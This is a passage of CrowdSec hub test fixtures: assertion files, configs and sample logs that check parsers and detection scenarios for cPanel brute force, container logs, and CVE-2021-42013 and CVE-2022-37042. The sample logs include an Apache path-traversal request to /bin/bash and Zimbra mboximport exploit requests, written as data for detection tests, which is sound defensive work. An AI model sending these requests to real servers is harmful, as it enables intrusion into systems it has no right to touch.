results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["date"] == "2022-06-29 13:40:15" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["target_user"] == "root" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["username"] == "root" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["http_path"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["log_type"] == "auth_bf_log" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["username"] == "root" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["message"] == "[2022-06-29 14:05:04 +1000] info [whostmgrd] 1.2.3.4 - toto \"POST /json-api/batch HTTP/1.1\" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["request"] == "/json-api/batch" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["date"] == "2022-06-29 14:05:04" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["http_path"] == "/json-api/batch" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["log_type"] == "auth_bf_log" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["request"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["username"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["date"] == "2022-06-29 15:29:06" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Parsed["message"] == "[2022-06-29 15:29:06 +1000] info [whostmgrd] 1.2.3.4 - toto@toto.com \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN whostmgrd: user password incorrect" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["username"] == "toto@toto.com" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["http_path"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["log_type"] == "auth_bf_log" results["s01-parse"]["crowdsecurity/cpanel-logs"][6].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["request"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["username"] == "cscpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["date"] == "2021-06-10 12:07:01" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["message"] == "[2021-06-10 12:07:01 +0000] info [cpaneld] 1.2.3.4 - cscpanel \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: brute force attempt (user cscpanel) has locked out IP 213.44.59.93" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["username"] == "cscpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["http_path"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][7].Evt.Meta["log_type"] == "auth_bf_attempt"hub1/.tests/cpanel_bf_attempt/000077500000000000000000000000001437532772500166235ustar00rootroot00000000000000hub1/.tests/cpanel_bf_attempt/config.yaml000066400000000000000000000003721437532772500207560ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/cpanel-logs scenarios: - ./scenarios/crowdsecurity/cpanel-bf-attempt.yaml postoverflows: - "" log_file: cpanel_bf_attempt.log log_type: cpanel ignore_parsers: true hub1/.tests/cpanel_bf_attempt/cpanel_bf_attempt.log000066400000000000000000000003011437532772500227670ustar00rootroot00000000000000[2021-06-10 12:07:01 +0000] info [cpaneld] 213.44.59.93 - cscpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: brute force attempt (user cscpanel) has locked out IP 213.44.59.93 hub1/.tests/cpanel_bf_attempt/scenario.assert000066400000000000000000000022331437532772500216510ustar00rootroot00000000000000len(results) == 1 "213.44.59.93" in results[0].Overflow.GetSources() results[0].Overflow.Sources["213.44.59.93"].IP == "213.44.59.93" results[0].Overflow.Sources["213.44.59.93"].Range == "" results[0].Overflow.Sources["213.44.59.93"].GetScope() == "Ip" results[0].Overflow.Sources["213.44.59.93"].GetValue() == "213.44.59.93" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cpanel_bf_attempt.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "auth_bf_attempt" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "213.44.59.93" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2021-06-10T12:07:01Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "cscpanel" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/cpanel-bf-attempt" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1hub1/.tests/cri-logs/000077500000000000000000000000001437532772500146735ustar00rootroot00000000000000hub1/.tests/cri-logs/config.yaml000066400000000000000000000003131437532772500170210ustar00rootroot00000000000000parsers: - ./parsers/s00-raw/crowdsecurity/cri-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: cri-logs.log log_type: containerd labels: {} ignore_parsers: false hub1/.tests/cri-logs/cri-logs.log000066400000000000000000000012451437532772500171170ustar00rootroot000000000000002022-01-28T16:04:05.413656027Z stdout F 172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] "GET / HTTP/1.1" 200 13 "-" "curl/7.68.0" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 c99400a4db42e32187a3cbda00920e41 2022-01-28T16:04:05.673552828Z stderr P 172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] "GET / HTTP/1.1" 200 13 "-" "curl/7.68.0" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 1817d7f2d3167a39badb6c3ea3a9072c 2022-01-28T16:04:05.919698406Z stdout F 172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] "GET / HTTP/1.1" 200 13 "-" "curl/7.68.0" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 6dcb7f7507726de0279495d7ade442cahub1/.tests/cri-logs/parser.assert000066400000000000000000000142261437532772500174170ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/cri-logs"]) == 3 results["s00-raw"]["crowdsecurity/cri-logs"][0].Success == true results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.413656027Z" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Parsed["logsource"] == "cri" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Parsed["logtag"] == "F" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 c99400a4db42e32187a3cbda00920e41" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Parsed["stream"] == "stdout" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Meta["datasource_path"] == "cri-logs.log" results["s00-raw"]["crowdsecurity/cri-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/cri-logs"][1].Success == true results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Parsed["logtag"] == "P" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 1817d7f2d3167a39badb6c3ea3a9072c" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Parsed["stream"] == "stderr" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.673552828Z" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Parsed["logsource"] == "cri" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Meta["datasource_path"] == "cri-logs.log" results["s00-raw"]["crowdsecurity/cri-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/cri-logs"][2].Success == true results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.919698406Z" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Parsed["logsource"] == "cri" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Parsed["logtag"] == "F" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 6dcb7f7507726de0279495d7ade442ca" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Parsed["stream"] == "stdout" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Meta["datasource_path"] == "cri-logs.log" results["s00-raw"]["crowdsecurity/cri-logs"][2].Evt.Meta["datasource_type"] == "file" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 3 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.413656027Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "cri" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logtag"] == "F" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 c99400a4db42e32187a3cbda00920e41" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["stream"] == "stdout" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "cri-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-01-28T16:04:05.413656027Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-01-28T16:04:05.413656027Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.673552828Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "cri" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logtag"] == "P" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 1817d7f2d3167a39badb6c3ea3a9072c" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["stream"] == "stderr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "cri-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-01-28T16:04:05.673552828Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-01-28T16:04:05.673552828Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "172.18.0.1 - - [28/Jan/2022:16:04:05 +0000] \"GET / HTTP/1.1\" 200 13 \"-\" \"curl/7.68.0\" 80 0.000 [default-helloworld-5678] [] 10.244.0.9:5678 13 0.000 200 6dcb7f7507726de0279495d7ade442ca" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["stream"] == "stdout" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["cri_timestamp"] == "2022-01-28T16:04:05.919698406Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "cri" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logtag"] == "F" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "cri-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-01-28T16:04:05.919698406Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-01-28T16:04:05.919698406Z"hub1/.tests/cri-logs/scenario.assert000066400000000000000000000000001437532772500177070ustar00rootroot00000000000000hub1/.tests/cve-2021-42013/000077500000000000000000000000001437532772500147625ustar00rootroot00000000000000hub1/.tests/cve-2021-42013/config.yaml000066400000000000000000000003711437532772500171140ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/apache2-logs - crowdsecurity/dateparse-enrich scenarios: - scenarios/crowdsecurity/http-cve-2021-42013.yaml postoverflows: - "" log_file: cve-2021-42013.log log_type: apache2 ignore_parsers: true hub1/.tests/cve-2021-42013/cve-2021-42013.log000066400000000000000000000002761437532772500173000ustar00rootroot00000000000000172.17.0.1 - - [12/Oct/2021:09:17:05 +0000] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash HTTP/1.1" 200 45 hub1/.tests/cve-2021-42013/scenario.assert000066400000000000000000000021321437532772500200060ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cve-2021-42013.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-42013" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/cve_2022_37042/000077500000000000000000000000001437532772500151355ustar00rootroot00000000000000hub1/.tests/cve_2022_37042/config.yaml000066400000000000000000000004231437532772500172650ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/CVE-2022-37042.yaml postoverflows: - "" log_file: cve_2022_37042.log log_type: nginx labels: {} ignore_parsers: false override_statics: [] hub1/.tests/cve_2022_37042/cve_2022_37042.log000066400000000000000000000005261437532772500176240ustar00rootroot000000000000005.5.8.5 - - [04/Jan/2020:07:25:02 +0000] "POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1" 404 522 "-" "Go-http-client/1.1" 5.5.8.56 - - [04/Jan/2020:07:25:02 +0000] "POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1" 401 522 "-" "Go-http-client/1.1"hub1/.tests/cve_2022_37042/parser.assert000066400000000000000000000263341437532772500176640ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1\" 404 522 \"-\" \"Go-http-client/1.1\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "5.5.8.56 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1\" 401 522 \"-\" \"Go-http-client/1.1\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["crowdsecurity/nginx-logs"]) == 2 results["s01-parse"]["crowdsecurity/nginx-logs"][0].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["message"] == "5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1\" 404 522 \"-\" \"Go-http-client/1.1\"" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_addr"] == "5.5.8.5" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["request"] == "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["body_bytes_sent"] == "522" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_user_agent"] == "Go-http-client/1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["time_local"] == "04/Jan/2020:07:25:02 +0000" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_path"] == "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_user_agent"] == "Go-http-client/1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["source_ip"] == "5.5.8.5" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_user_agent"] == "Go-http-client/1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["remote_addr"] == "5.5.8.56" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["time_local"] == "04/Jan/2020:07:25:02 +0000" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["body_bytes_sent"] == "522" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["message"] == "5.5.8.56 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd HTTP/1.1\" 401 522 \"-\" \"Go-http-client/1.1\"" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["request"] == "/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["status"] == "401" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["source_ip"] == "5.5.8.56" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_path"] == "/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_status"] == "401" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_user_agent"] == "Go-http-client/1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_verb"] == "POST" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "5.5.8.5 - - [04/Jan/2020:07:25:02 +0000] \"POST /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 HTTP/1.1\" 404 522 \"-\" \"Go-http-client/1.1\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "5.5.8.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "04/Jan/2020:07:25:02 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Go-http-client/1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "522" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "cve_2022_37042.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Go-http-client/1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "POST" 